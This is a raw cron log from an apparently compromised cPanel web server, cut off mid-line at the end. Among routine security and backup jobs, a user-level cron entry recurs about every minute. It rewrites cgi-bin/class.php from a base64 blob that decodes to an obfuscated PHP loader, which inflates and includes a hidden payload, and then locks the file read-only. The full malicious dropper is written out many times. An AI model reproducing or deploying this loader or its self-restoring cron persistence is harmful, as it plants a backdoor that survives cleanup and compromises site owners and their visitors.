Sep  5 23:10:01 server CROND[31498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:10:01 server CROND[31497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:10:01 server CROND[31502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:10:01 server CROND[31503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:10:01 server CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:10:01 server CROND[31499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:10:01 server CROND[31504]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:10:01 server CROND[31500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:11:01 server CROND[32434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:11:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:11:01 server CROND[32436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:12:01 server CROND[356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:12:01 server CROND[358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:12:01 server CROND[359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:12:01 server CROND[360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:13:01 server CROND[772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:13:01 server CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:13:01 server CROND[774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:14:01 server CROND[1200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:14:01 server CROND[1199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:14:01 server CROND[1201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:15:01 server CROND[1622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:15:01 server CROND[1625]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 23:15:01 server CROND[1624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:15:01 server CROND[1623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:15:01 server CROND[1627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:15:01 server CROND[1629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:15:01 server CROND[1630]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:15:01 server CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:16:01 server CROND[2612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:16:01 server CROND[2613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:16:01 server CROND[2614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:17:01 server CROND[3004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:17:01 server CROND[3005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:17:01 server CROND[3006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:18:01 server CROND[3473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:18:01 server CROND[3474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:18:01 server CROND[3475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:19:01 server CROND[3850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:19:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:19:01 server CROND[3852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:20:01 server CROND[4232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:20:01 server CROND[4234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:20:01 server CROND[4237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:20:01 server CROND[4241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:20:01 server CROND[4238]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:20:01 server CROND[4240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:20:01 server CROND[4239]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:20:01 server CROND[4235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:20:01 server CROND[4236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:21:01 server CROND[5077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:21:01 server CROND[5078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:21:01 server CROND[5079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRm